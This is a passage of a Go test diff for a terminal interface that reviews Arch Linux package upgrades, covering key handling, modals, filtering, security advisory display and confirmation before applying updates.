+ m := selectKind(loaded(t, sample(), 120, 40), "demo-bin")
+ next, _ := m.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{' '}})
+ final := next.(Model)
+ if !final.skipped["demo-bin"] {
+ t.Fatal("space did not skip the AUR package")
+ }
+ for _, n := range final.visible {
+ if n.Name == "demo-bin" && !n.Skipped {
+ t.Error("the row was not marked as skipped")
+ }
+ }
+ // and again to unskip
+ again, _ := final.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{' '}})
+ if again.(Model).skipped["demo-bin"] {
+ t.Error("space did not unskip")
+ }
+}
+
+func TestSpaceHoldsARepoPackageInsteadOfSkippingIt(t *testing.T) {
+ // a repo package cannot simply be dropped from pacman -Syu
+ m := selectKind(loaded(t, sample(), 120, 40), "linux")
+ next, _ := m.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{' '}})
+ final := next.(Model)
+ if final.held["linux"] != true {
+ t.Error("space on a repo package should hold it")
+ }
+ if final.skipped["linux"] {
+ t.Error("a repo package must not be recorded as a plain skip")
+ }
+}
+
+func TestIgnoreIsPersistedThroughTheConfig(t *testing.T) {
+ m := selectKind(loaded(t, sample(), 120, 40), "demo-bin")
+ next, _ := m.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{'i'}})
+ final := next.(Model)
+ if !final.cfg.IsIgnored("demo-bin") {
+ t.Fatal("i did not ignore the package")
+ }
+ if !config.Load().IsIgnored("demo-bin") {
+ t.Error("the ignore was not written to the config file")
+ }
+}
+
+func TestUndoReversesTheLastDecision(t *testing.T) {
+ m := selectKind(loaded(t, sample(), 120, 40), "demo-bin")
+ skipped, _ := m.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{' '}})
+ undone, _ := skipped.(Model).Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{'u'}})
+ if undone.(Model).skipped["demo-bin"] {
+ t.Error("u did not undo the skip")
+ }
+ if len(undone.(Model).undo) != 0 {
+ t.Error("the undo stack was not popped")
+ }
+}
+
+func TestUndoWithNothingToUndoIsHarmless(t *testing.T) {
+ m := loaded(t, sample(), 120, 40)
+ next, _ := m.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{'u'}})
+ if next.(Model).status == "" {
+ t.Error("undo with an empty stack should say so")
+ }
+}
+
+func TestIgnoreToggleIsReportedInTheStatusLine(t *testing.T) {
+ m := loaded(t, sample(), 120, 40)
+ m = selectKind(m, "demo-bin")
+ next, _ := m.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{'i'}})
+ final := next.(Model)
+ if !strings.Contains(final.status, "ignoring") {
+ t.Errorf("status = %q", final.status)
+ }
+ if !strings.Contains(plain(final.renderHeader()), "ignored") {
+ t.Errorf("header does not mention the ignore: %q", plain(final.renderHeader()))
+ }
+}
+
+// -- modals ---------------------------------------------------------------
+
+func indexOf(nodes []*Node, want *Node) int {
+ for i, n := range nodes {
+ if n == want {
+ return i
+ }
+ }
+ return -1
+}
+
+func TestQuestionMarkOpensHelpAndEscClosesIt(t *testing.T) {
+ m := loaded(t, sample(), 120, 40)
+ next, _ := m.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{'?'}})
+ opened := next.(Model)
+ if opened.modal == nil {
+ t.Fatal("? did not open help")
+ }
+ view := plain(opened.View())
+ for _, want := range []string{"KEYMAP", "NAV", "move", "esc"} {
+ if !strings.Contains(view, want) {
+ t.Errorf("help is missing %q", want)
+ }
+ }
+ closed, _ := opened.Update(tea.KeyMsg{Type: tea.KeyEsc})
+ if closed.(Model).modal != nil {
+ t.Error("esc did not close help")
+ }
+}
+
+func TestHelpTabsCycle(t *testing.T) {
+ h := newHelp()
+ for i := 0; i < len(listHelpTabs); i++ {
+ if h.tab != i {
+ t.Fatalf("tab = %d, want %d", h.tab, i)
+ }
+ h.Update(tea.KeyMsg{Type: tea.KeyTab})
+ if h.tab != (i+1)%len(listHelpTabs) {
+ t.Fatalf("after tab, tab = %d", h.tab)
+ }
+ }
+ back, _ := newHelp().Update(tea.KeyMsg{Type: tea.KeyShiftTab})
+ if back.(*helpModal).tab != len(listHelpTabs)-1 {
+ t.Error("shift+tab should wrap backwards")
+ }
+}
+
+func TestTheKeymapDoesNotChangeHeightBetweenTabs(t *testing.T) {
+ // a box that resizes as you switch tabs is the thing this avoids
+ h := newHelp()
+ heights := map[int]int{}
+ for i, tab := range listHelpTabs {
+ h.tab = i
+ heights[i] = lipgloss.Height(h.View(120, 40))
+ _ = tab
+ }
+ for i := 1; i < len(heights); i++ {
+ if heights[i] != heights[0] {
+ t.Errorf("tab %d renders %d rows, tab 0 renders %d",
+ i, heights[i], heights[0])
+ }
+ }
+}
+
+func TestConfirmModalWarnsAboutAPartialUpgrade(t *testing.T) {
+ m := selectKind(loaded(t, sample(), 120, 40), "linux")
+ held, _ := m.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{' '}})
+ next, _ := held.(Model).Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{'a'}})
+ modal := next.(Model).modal
+ if modal == nil {
+ t.Fatal("a did not open the confirm modal")
+ }
+ view := plain(modal.View(120, 40))
+ if !strings.Contains(view, "partial upgrade") {
+ t.Errorf("no partial-upgrade warning in:\n%s", view)
+ }
+ if !strings.Contains(view, "--ignore=linux") {
+ t.Errorf("the held package is not shown in the command:\n%s", view)
+ }
+}
+
+func TestConfirmModalNamesTheCommands(t *testing.T) {
+ m := loaded(t, sample(), 120, 40)
+ next, _ := m.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{'a'}})
+ view := plain(next.(Model).modal.View(120, 40))
+ for _, want := range []string{"pacman -Syu", "paru -Sua"} {
+ if !strings.Contains(view, want) {
+ t.Errorf("confirm modal is missing %q", want)
+ }
+ }
+}
+
+func TestConfirmAnsweredNoClosesWithoutApplying(t *testing.T) {
+ m := loaded(t, sample(), 120, 40)
+ next, _ := m.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{'a'}})
+ closed, _ := next.(Model).Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{'n'}})
+ if closed.(Model).modal != nil {
+ t.Error("n did not close the confirm modal")
+ }
+}
+
+// -- filter ---------------------------------------------------------------
+
+func TestFilterNarrowsTheVisibleRows(t *testing.T) {
+ m := loaded(t, sample(), 120, 40)
+ before := len(m.visible)
+ filtering, _ := m.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{'/'}})
+ filtered, _ := filtering.(Model).Update(
+ tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune("enca")})
+ got := filtered.(Model)
+ if len(got.visible) >= before {
+ t.Errorf("filter did not narrow anything: %d -> %d", before, len(got.visible))
+ }
+ joined := plain(joinRows(got.visible))
+ if !strings.Contains(joined, "enca-bin") {
+ t.Errorf("the matching row is not visible:\n%s", joined)
+ }
+ if strings.Contains(joined, "helix-git") {
+ t.Errorf("a non-matching row survived:\n%s", joined)
+ }
+}
+
+func TestFilterWithNoMatchesSaysSoRatherThanShowingNothing(t *testing.T) {
+ m := loaded(t, sample(), 120, 40)
+ filtering, _ := m.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{'/'}})
+ filtered, _ := filtering.(Model).Update(
+ tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune("zzzzz")})
+ view := plain(filtered.(Model).View())
+ if !strings.Contains(view, "no matches") {
+ t.Errorf("an empty filter result should say so:\n%s", view)
+ }
+}
+
+func TestEscDuringFilterClearsIt(t *testing.T) {
+ m := loaded(t, sample(), 120, 40)
+ before := len(m.visible)
+ filtering, _ := m.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{'/'}})
+ typed, _ := filtering.(Model).Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune("enca")})
+ cleared, _ := typed.(Model).Update(tea.KeyMsg{Type: tea.KeyEsc})
+ got := cleared.(Model)
+ if got.filtering || got.filter != "" {
+ t.Errorf("esc left the filter active: %q", got.filter)
+ }
+ if len(got.visible) != before {
+ t.Errorf("rows not restored: %d vs %d", len(got.visible), before)
+ }
+}
+
+func joinRows(nodes []*Node) string {
+ var b strings.Builder
+ for _, n := range nodes {
+ b.WriteString(n.Render(NewColumns(120), false))
+ b.WriteString("\n")
+ }
+ return b.String()
+}
+
+// -- spacing --------------------------------------------------------------
+
+func TestSectionsAreSeparatedByBlankRows(t *testing.T) {
+ // cramming every heading against the previous section is what made the first
+ // version feel dense
+ m := loaded(t, sample(), 120, 40)
+ spacers := 0
+ for _, n := range m.visible {
+ if n.Kind == KindSpacer {
+ spacers++
+ }
+ }
+ if spacers < 2 {
+ t.Errorf("expected a spacer between sections, found %d", spacers)
+ }
+}
+
+func TestTheCursorNeverRestsOnASpacer(t *testing.T) {
+ m := loaded(t, sample(), 120, 40)
+ for i := 0; i < len(m.visible)+5; i++ {
+ next, _ := m.Update(tea.KeyMsg{Type: tea.KeyDown})
+ m = next.(Model)
+ if m.visible[m.cursor].Kind == KindSpacer {
+ t.Fatalf("cursor landed on a spacer at %d", m.cursor)
+ }
+ }
+}
+
+func TestViewRendersAtManySizes(t *testing.T) {
+ doc := sample()
+ for _, size := range [][2]int{{40, 8}, {60, 12}, {80, 24}, {120, 40}, {200, 60}} {
+ m := loaded(t, doc, size[0], size[1])
+ view := m.View()
+ if view == "" {
+ t.Fatalf("empty view at %dx%d", size[0], size[1])
+ }
+ if strings.Contains(view, "panic") {
+ t.Fatalf("panic text at %dx%d", size[0], size[1])
+ }
+ }
+}
+
+func TestViewRefusesToRenderInATinyTerminal(t *testing.T) {
+ m := loaded(t, sample(), 20, 4)
+ if !strings.Contains(m.View(), "too small") {
+ t.Errorf("a 20x4 terminal should ask for more room, got: %q", m.View())
+ }
+}
+
+func TestViewShowsTheBackendErrorRatherThanNothing(t *testing.T) {
+ m := New(plan.Backend{}, testConfig(t))
+ next, _ := m.Update(tea.WindowSizeMsg{Width: 100, Height: 30})
+ next, _ = next.(Model).Update(loadedMsg{err: &plan.Error{
+ Args: []string{"python3", "-m", "updater"}, Stderr: "no module named updater"}})
+ view := plain(next.(Model).View())
+ if !strings.Contains(view, "no module named updater") {
+ t.Errorf("the error was swallowed: %q", view)
+ }
+}
+
+func TestTidyRemovesEmptyEscapeSegments(t *testing.T) {
+ // truncating a styled label can leave the escapes with no text between them
+ dirty := "\x1b[36m\x1b[0m text"
+ if got := tidy(dirty); got != " text" {
+ t.Errorf("tidy = %q, want %q", got, " text")
+ }
+ keep := "\x1b[36mcyan\x1b[0m"
+ if got := tidy(keep); got != keep {
+ t.Errorf("tidy damaged real content: %q", got)
+ }
+}
+
+func TestFlattenRespectsExpansionAndAssignsDepth(t *testing.T) {
+ leaf := &Node{Text: "leaf"}
+ parent := &Node{Text: "parent", Children: []*Node{leaf}}
+ root := &Node{Text: "root", Children: []*Node{parent}, Expanded: true}
+
+ if got := len(Flatten([]*Node{root})); got != 2 {
+ t.Errorf("collapsed parent should hide its child: got %d nodes", got)
+ }
+ parent.Expanded = true
+ flat := Flatten([]*Node{root})
+ if len(flat) != 3 {
+ t.Fatalf("expected 3 nodes, got %d", len(flat))
+ }
+ if flat[0].depth != 0 || flat[1].depth != 1 || flat[2].depth != 2 {
+ t.Errorf("depths = %d,%d,%d", flat[0].depth, flat[1].depth, flat[2].depth)
+ }
+}
+
+func TestThePagerMessageIsHandled(t *testing.T) {
+ // a message with no handler is silently dropped, which is how `o` would fail
+ m := loaded(t, sample(), 120, 40)
+ next, cmd := m.Update(pagerMsg{path: "/tmp/nonexistent.diff"})
+ if cmd == nil && next.(Model).status == "" {
+ t.Error("pagerMsg was neither handled nor reported")
+ }
+}
+
+func TestOpenDiffOnANonPackageIsANoOp(t *testing.T) {
+ m := loaded(t, sample(), 120, 40)
+ m.cursor = 0 // a section header
+ if _, cmd := m.openDiff(); cmd != nil {
+ t.Error("openDiff should do nothing on a non-package row")
+ }
+}
+
+func TestClipboardFailureIsReportedNotSwallowed(t *testing.T) {
+ // no clipboard helper is a normal state on a headless box
+ err := writeClipboard("hello")
+ if err == nil {
+ return // a helper exists here; nothing to assert
+ }
+ if !strings.Contains(err.Error(), "clipboard") {
+ t.Errorf("unhelpful clipboard error: %v", err)
+ }
+}
+
+func stripANSI(s string) string { return ansi.Strip(s) }
+
+// -- VCS packages are first-class AUR rows now ----------------------------
+
+func TestVcsPackagesCanBeSkipped(t *testing.T) {
+ doc := sample()
+ doc.Vcs = []plan.Vcs{{Name: "helix-git", Old: "r1", New: "r2"}}
+ m := selectKind(loaded(t, doc, 120, 40), "helix-git")
+ if m.selected() == nil || m.selected().Name != "helix-git" {
+ t.Fatal("could not put the cursor on the VCS package")
+ }
+ next, _ := m.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{' '}})
+ final := next.(Model)
+ if !final.skipped["helix-git"] {
+ t.Error("a VCS package could not be skipped")
+ }
+}
+
+func TestVcsPackagesCanBeIgnored(t *testing.T) {
+ doc := sample()
+ doc.Vcs = []plan.Vcs{{Name: "helix-git", Old: "r1", New: "r2"}}
+ m := selectKind(loaded(t, doc, 120, 40), "helix-git")
+ next, _ := m.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{'i'}})
+ if !next.(Model).cfg.IsIgnored("helix-git") {
+ t.Error("a VCS package could not be ignored")
+ }
+}
+
+func TestADecisionIsVisibleInTheRow(t *testing.T) {
+ // the tag column changes shape, which is what makes a decision obvious
+ m := selectKind(loaded(t, sample(), 120, 40), "demo-bin")
+ before := plain(joinRows(m.visible))
+
+ skipped, _ := m.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{' '}})
+ after := plain(joinRows(skipped.(Model).visible))
+
+ if before == after {
+ t.Fatal("skipping changed nothing on screen")
+ }
+ if !strings.Contains(after, "skipped") {
+ t.Errorf("the row does not say it is skipped:\n%s", after)
+ }
+ // and the tag column reflects it rather than still reading U
+ for _, n := range skipped.(Model).visible {
+ if n.Name == "demo-bin" {
+ line := plain(n.Render(NewColumns(120), false))
+ if !strings.Contains(line, "⊘") {
+ t.Errorf("no state glyph on the row: %q", line)
+ }
+ }
+ }
+}
+
+func TestIgnoringAndSkippingLookDifferent(t *testing.T) {
+ m := selectKind(loaded(t, sample(), 120, 40), "demo-bin")
+ skipped, _ := m.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{' '}})
+ skipGlyph := plain(joinRows(skipped.(Model).visible))
+
+ ignored, _ := skipped.(Model).Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{'i'}})
+ ignoreGlyph := plain(joinRows(ignored.(Model).visible))
+
+ if skipGlyph == ignoreGlyph {
+ t.Error("a skip and an ignore render identically; they mean different things")
+ }
+ if !strings.Contains(ignoreGlyph, "ignored") {
+ t.Errorf("the row does not say it is ignored:\n%s", ignoreGlyph)
+ }
+}
+
+func TestTheHeaderCountsVcsPackagesAsAur(t *testing.T) {
+ // the count has to match what the backend will be asked to build
+ doc := sample()
+ doc.Vcs = []plan.Vcs{{Name: "a-git", Old: "r1", New: "r2"}, {Name: "b-git", Old: "r3", New: "r4"}}
+ m := loaded(t, doc, 120, 40)
+ head := plain(m.renderHeader())
+ if !strings.Contains(head, "4 AUR") {
+ t.Errorf("header = %q, want it to include the two VCS packages", head)
+ }
+}
+
+func TestTheConfirmDialogCountsVcsPackages(t *testing.T) {
+ doc := sample()
+ doc.Vcs = []plan.Vcs{{Name: "a-git", Old: "r1", New: "r2"}}
+ m := loaded(t, doc, 120, 40)
+ commands, notes, _ := m.planLines()
+ if len(commands) == 0 {
+ t.Fatal("no commands planned")
+ }
+ joined := strings.Join(notes, " ")
+ if !strings.Contains(joined, "3 AUR") {
+ t.Errorf("notes = %q, want 3 AUR (2 aur + 1 vcs)", joined)
+ }
+}
+
+// -- fetch-backed modals --------------------------------------------------
+
+func TestEnteringAnAdvisoryShowsALoadingModalThenItsRecord(t *testing.T) {
+ m := loaded(t, sample(), 120, 40)
+ m.modal = newTextLoading("AVG-1", "fetching")
+ view := plain(m.modal.View(120, 40))
+ if !strings.Contains(view, "fetching") {
+ t.Errorf("a loading modal must say what it is waiting for:\n%s", view)
+ }
+
+ next, _ := m.modal.Update(textBodyMsg{title: "AVG-1", lines: []string{"CVE-2022-1"},
+ foot: "https://security.archlinux.org/AVG-1"})
+ got := plain(next.View(120, 40))
+ if !strings.Contains(got, "CVE-2022-1") {
+ t.Errorf("the fetched record did not render:\n%s", got)
+ }
+}
+
+func TestAStaleFetchDoesNotReplaceTheCurrentModal(t *testing.T) {
+ // a slow fetch for a package you have moved on from must not clobber the view
+ modal := newTextLoading("AVG-2", "fetching")
+ next, _ := modal.Update(textBodyMsg{title: "AVG-1", lines: []string{"WRONG"}})
+ if strings.Contains(plain(next.View(120, 40)), "WRONG") {
+ t.Error("a fetch for a different advisory was applied")
+ }
+}
+
+func TestAFailedFetchSaysSoRatherThanShowingNothing(t *testing.T) {
+ modal := newTextLoading("AVG-1", "fetching")
+ next, _ := modal.Update(textBodyMsg{title: "AVG-1",
+ err: errString("could not reach security.archlinux.org")})
+ view := plain(next.View(120, 40))
+ if !strings.Contains(view, "could not reach") {
+ t.Errorf("a failed fetch was not explained:\n%s", view)
+ }
+}
+
+func TestAdvisoryLinesCarryEverythingNeededToSkipTheLink(t *testing.T) {
+ lines := advisoryLines(&plan.AdvisoryDetail{
+ ID: "AVG-2842", Available: true, Severity: "High risk", Kind: "rce",
+ Affected: "4.4.0-1", Fixed: "", Packages: []string{"libtiff"},
+ Issues: []string{"CVE-2022-48281", "CVE-2022-3450"},
+ Notes: "bulk add", URL: "https://security.archlinux.org/AVG-2842",
+ })
+ text := plain(strings.Join(lines, "\n"))
+ for _, want := range []string{"AVG-2842", "High risk", "4.4.0-1", "libtiff",
+ "CVE-2022-48281", "bulk add", "no fix available"} {
+ if !strings.Contains(text, want) {
+ t.Errorf("the advisory view is missing %q:\n%s", want, text)
+ }
+ }
+}
+
+func TestSecurityLinesPutFixableFirst(t *testing.T) {
+ lines := securityLines(&plan.SecurityReport{
+ Available: true, Total: 2, Fixable: 1, Unfixable: 1,
+ Advisories: []plan.Advisory{
+ {ID: "AVG-1", Severity: "High risk", Fixed: "6.16-1", Packages: []string{"linux"}},
+ {ID: "AVG-2", Severity: "Unknown", Packages: []string{"libtiff"}},
+ },
+ })
+ text := plain(strings.Join(lines, "\n"))
+ if !strings.Contains(text, "fixed in 6.16-1") {
+ t.Errorf("the fixable advisory lost its fix:\n%s", text)
+ }
+ if !strings.Contains(text, "no fix available") {
+ t.Errorf("the unfixable advisory is not marked:\n%s", text)
+ }
+}
+
+func TestTheSpinnerAdvances(t *testing.T) {
+ l := newLoading("working", "fetching things")
+ if got := plain(l.View(80, 24)); !strings.Contains(got, spinnerFrames[0]) {
+ t.Errorf("first frame missing:\n%s", got)
+ }
+ l.Update(spinnerTickMsg{})
+ if got := plain(l.View(80, 24)); !strings.Contains(got, spinnerFrames[1]) {
+ t.Errorf("the spinner did not advance:\n%s", got)
+ }
+
+ // The tick chain belongs to the model, not to the modal: a chain each
+ // screen re-armed for itself could be dropped by whichever forgot, and a
+ // modal cannot know whether the loader behind it still needs animating.
+ m := Model{modal: l, loading: true, width: 80, height: 24, cfg: testConfig(t)}
+ next, cmd := m.Update(spinnerTickMsg{})
+ if cmd == nil {
+ t.Error("the chain stopped while something still needed animating")
+ }
+ // and it stops once nothing does
+ done := next.(Model)
+ done.loading = false
+ done.modal = nil
+ if _, cmd := done.Update(spinnerTickMsg{}); cmd != nil {
+ t.Error("the chain kept ticking with nothing to animate")
+ }
+}
+
+func TestALoadingModalCannotBeDismissedAsIfItWereCancelled(t *testing.T) {
+ // esc while waiting would imply a cancellation that does not happen
+ l := newLoading("arch-audit", "running")
+ next, _ := l.Update(tea.KeyMsg{Type: tea.KeyEsc})
+ if next == nil {
+ t.Error("esc closed a modal for work that is still running")
+ }
+}
+
+func TestTheStartupViewNamesWhatItIsWaitingOn(t *testing.T) {
+ m := New(plan.Backend{}, testConfig(t))
+ m.width, m.height = 100, 30
+ if !m.loading {
+ t.Fatal("a fresh model should be loading")
+ }
+ view := plain(m.View())
+ if !strings.Contains(view, "updater") {
+ t.Errorf("no branding while loading:\n%s", view)
+ }
+ // "pending" is gone on purpose. The screen used to name the phases it
+ // expected to run before it had read the plan, so the list was a guess
+ // dressed as progress. It says that it is loading and how long for; the
+ // phases arrive when they are known.
+ if !strings.Contains(view, "loading") {
+ t.Errorf("the loading view does not say what it is doing:\n%s", view)
+ }
+}
+
+// -- the size column ------------------------------------------------------
+
+func TestSizeDeltaSigns(t *testing.T) {
+ cases := map[int64]string{
+ 0: "0 B",
+ 1048576: "+1.0 MiB",
+ -1048576: "-1.0 MiB",
+ -2150: "-2.1 KiB",
+ }
+ for in, want := range cases {
+ if got := sizeDelta(in); got != want {
+ t.Errorf("sizeDelta(%d) = %q, want %q", in, got, want)
+ }
+ }
+}
+
+// displayWidth measures a rendered line the way a terminal would.
+func displayWidth(s string) int { return ansi.StringWidth(s) }
+
+// -- acknowledging advisories ---------------------------------------------
+
+func advisoryModel(t *testing.T, acked int) Model {
+ t.Helper()
+ doc := sample()
+ doc.Advisories = []plan.Advisory{
+ {ID: "AVG-1", Severity: "High risk", Packages: []string{"linux"}},
+ {ID: "AVG-2", Severity: "Low", Packages: []string{"vim"}},
+ }
+ doc.AckedCount = acked
+ m := loaded(t, doc, 120, 40)
+ // the config is what actually gets written, so acknowledge there too
+ for i := 0; i < acked; i++ {
+ m.cfg.Ack(fmt.Sprintf("AVG-OLD-%d", i))
+ }
+ for i, n := range m.visible {
+ if n.Kind == KindAdvisory {
+ m.cursor = i
+ break
+ }
+ }
+ return m
+}
+
+func TestAcknowledgingAnAdvisoryRemovesItAndPersists(t *testing.T) {
+ m := advisoryModel(t, 0)
+ if m.selected() == nil || m.selected().Kind != KindAdvisory {
+ t.Fatal("cursor is not on an advisory")
+ }
+ id := m.selected().Name
+
+ next, _ := m.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{'c'}})
+ final := next.(Model)
+
+ acks := config.Load().AckedList()
+ if len(acks) != 1 || acks[0] != id {
+ t.Errorf("acknowledgement was not written: %v", acks)
+ }
+ for _, n := range final.visible {
+ if n.Kind == KindAdvisory && n.Name == id {
+ t.Errorf("%s is still listed after being acknowledged", id)
+ }
+ }
+}
+
+func TestAcknowledgingANonAdvisoryDoesNothing(t *testing.T) {
+ m := selectKind(loaded(t, sample(), 120, 40), "demo-bin")
+ next, _ := m.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{'c'}})
+ if len(next.(Model).cfg.AckedList()) != 0 {
+ t.Error("a package row was treated as an advisory")
+ }
+}
+
+func TestClearingAcksAsksFirstAndSaysSoWhenThereAreNone(t *testing.T) {
+ m := loaded(t, sample(), 120, 40)
+ if got, _ := press(m, 'C'); got.modal != nil {
+ t.Error("a confirmation appeared with nothing to clear")
+ }
+
+ m2 := advisoryModel(t, 3)
+ asked, _ := press(m2, 'C')
+ if asked.modal == nil {
+ t.Fatal("clearing acks should ask first")
+ }
+ final := answer(asked, 'y')
+ if acks := final.cfg.AckedList(); len(acks) != 0 {
+ t.Errorf("acks survived the clear: %v", acks)
+ }
+ if len(config.Load().AckedList()) != 0 {
+ t.Error("the cleared acks were not written")
+ }
+}
+
+func TestTheSecurityHeaderCountsAcknowledgedAdvisories(t *testing.T) {
+ m := advisoryModel(t, 4)
+ joined := plain(joinRows(m.visible))
+ if !strings.Contains(joined, "4 acknowledged") {
+ t.Errorf("the count is not shown:\n%s", joined)
+ }
+}
+
+// -- answering a confirmation ---------------------------------------------
+
+// press runs one key and returns the model plus whatever command it produced.
+func press(m Model, key rune) (Model, tea.Cmd) {
+ next, cmd := m.Update(tea.KeyMsg{Type: tea.KeyRunes, Runes: []rune{key}})
+ return next.(Model), cmd
+}
+
+// enterKey presses return, which is not a rune and so cannot go through press.
+func enterKey(m Model) (Model, tea.Cmd) {
+ next, cmd := m.Update(tea.KeyMsg{Type: tea.KeyEnter})
+ return next.(Model), cmd
+}
+
+// answer runs a key and then delivers the message that key produced, which is
+// how a confirmation actually reaches the model: the modal closes on the press
+// and the answer arrives as a separate message.
+func answer(m Model, key rune) Model {
+ closed, cmd := press(m, key)
+ if cmd == nil {
+ return closed
+ }
+ settled, _ := closed.Update(cmd())
+ return settled.(Model)
+}
+
+// -- running a check's suggested command ----------------------------------
+
+func checkModel(t *testing.T, label string, action []string) Model {
+ t.Helper()
+ doc := sample()
+ doc.Checks = []plan.Check{{OK: false, Label: label, Detail: "needs doing",
+ Details: []string{"why it matters"}, Action: action,
+ Warning: "removes things"}}
+ m := loaded(t, doc, 120, 40)
+ for i, n := range m.visible {
+ if n.Kind == KindCheck && n.Text == label {
+ m.cursor = i
+ break
+ }
+ }
+ return m
+}
+
+func TestRunOffersTheCommandForConfirmation(t *testing.T) {
+ m := checkModel(t, "cache", []string{"paccache", "-rk3"})
+ final, _ := press(m, 'R')
+ if final.modal == nil {
+ t.Fatal("R did not ask first")
+ }
+ view := plain(final.modal.View(120, 40))
+ for _, want := range []string{"paccache -rk3", "removes things"} {
+ if !strings.Contains(view, want) {
+ t.Errorf("the confirmation is missing %q:\n%s", want, view)
+ }
+ }
+ if len(final.pendingCommand) == 0 {
+ t.Error("the command was not remembered")
+ }
+}
+
+func TestDecliningDoesNotRunAnything(t *testing.T) {
+ m := checkModel(t, "cache", []string{"paccache", "-rk3"})
+ asked, _ := press(m, 'R')
+ final := answer(asked, 'n')
+ if final.modal != nil {
+ t.Error("n did not close the confirmation")
+ }
+ if final.pendingCommand != nil {
+ t.Error("the command survived a decline")
+ }
+ if final.build != nil {
+ t.Error("declining started something")
+ }
+}
+
+func TestRunOnARowWithNothingToRunSaysSo(t *testing.T) {
+ m := checkModel(t, "pacnew", nil)
+ final, _ := press(m, 'R')
+ if final.modal != nil {
+ t.Error("a confirmation appeared with no command")
+ }
+ if !strings.Contains(final.status, "nothing to run") {
+ t.Errorf("status = %q", final.status)
+ }
+}
+
+func TestTheFooterOffersRunOnlyWhereItApplies(t *testing.T) {
+ withAction := checkModel(t, "cache", []string{"paccache", "-rk3"})
+ if !strings.Contains(plain(withAction.renderFooter()), "run the fix") {
+ t.Errorf("the footer does not offer R:\n%s", plain(withAction.renderFooter()))
+ }
+ without := checkModel(t, "pacnew", nil)
+ if strings.Contains(plain(without.renderFooter()), "run the fix") {
+ t.Errorf("the footer offers R where there is nothing to run:\n%s",
+ plain(without.renderFooter()))
+ }
+}
+
+func TestTheFooterOffersMarkReadOnTheNewsRowOnly(t *testing.T) {
+ news := checkModel(t, "news", nil)
+ if !strings.Contains(plain(news.renderFooter()), "mark read") {
+ t.Errorf("the news row does not offer n:\n%s", plain(news.renderFooter()))
+ }
+ other := checkModel(t, "cache", nil)
+ if strings.Contains(plain(other.renderFooter()), "mark read") {
+ t.Error("a non-news row offers n")
+ }
+}
+
+func TestMarkingNewsReadIsConfirmedAndPersisted(t *testing.T) {
+ m := checkModel(t, "news", nil)
+ asked, _ := press(m, 'n')
+ if asked.modal == nil {
+ t.Fatal("n did not ask first")
+ }
+ final := answer(asked, 'y')
+ if final.pendingNews {
+ t.Error("the pending flag was not cleared")
+ }
+ if !config.Load().HasSeenNews() {
+ t.Error("the news timestamp was not written")
+ }
+}
+
+func TestMarkingNewsReadWithNoNewsRowIsHarmless(t *testing.T) {
+ m := checkModel(t, "cache", nil)
+ final, _ := press(m, 'n')
+ if final.modal != nil {
+ t.Error("a confirmation appeared with no news row")
+ }
+ if !strings.Contains(final.status, "no news") {
+ t.Errorf("status = %q", final.status)
+ }
+}
+
+// -- the confirmation must actually reach the model ------------------------
+
+// stubApplyBackend writes a Python module that emits a valid event stream, so
+// "did the apply start" can be answered without running an update.
+func stubApplyBackend(t *testing.T) plan.Backend {
+ t.Helper()
+ dir := t.TempDir()
+ mod := filepath.Join(dir, "stubupdater")
+ if err := os.MkdirAll(mod, 0o755); err != nil {
+ t.Fatal(err)
+ }
+ os.WriteFile(filepath.Join(mod, "__init__.py"), []byte(""), 0o644)
+ os.WriteFile(filepath.Join(mod, "__main__.py"), []byte(`
+import json, sys, time
+def emit(**kw):
+ sys.stdout.write(json.dumps(kw) + "\n"); sys.stdout.flush()
+emit(event="start", phases=["aur"], total=1)
+emit(event="phase_start", phase="aur", command="paru -S --needed", total=1)
+emit(event="finished", name="demo-bin", elapsed=1.0, state="done", version="2-1")
+emit(event="phase_end", phase="aur", returncode=0, elapsed=1.0)
+emit(event="done", returncode=0, elapsed=1.0)
+`), 0o644)
+ return plan.Backend{Python: "python3", Module: "stubupdater",
+ Env: []string{"PYTHONPATH=" + dir}}
+}
+
+func TestConfirmingAnApplyActuallyStartsIt(t *testing.T) {
+ // The confirmation answers with a message rather than the keypress, so the
+ // model has to handle it after the modal closes. It used to be looked for
+ // while the modal was still open, which meant "y" closed the dialog and did
+ // nothing at all -- the apply path could never run.
+ m := New(stubApplyBackend(t), testConfig(t))
+ next, _ := m.Update(tea.WindowSizeMsg{Width: 120, Height: 40})
+ m = next.(Model)
+ next, _ = m.Update(loadedMsg{plan: sample()})
+ m = next.(Model)
+
+ asked, _ := press(m, 'a')
+ if asked.modal == nil {
+ t.Fatal("a did not open the confirmation")
+ }
+
+ final := answer(asked, 'y')
+
+ // Confirming now authenticates first: sudo cannot prompt through the closed
+ // input the phases run with, so the credentials are cached while the real
+ // terminal is still available.
+ if final.build == nil {
+ if !final.pendingApply {
+ t.Fatalf("confirming neither ran nor asked to authenticate; modal %T",
+ final.modal)
+ }
+ authed, _ := final.Update(sudoMsg{err: nil})
+ final = authed.(Model)
+ }
+ if final.build == nil {
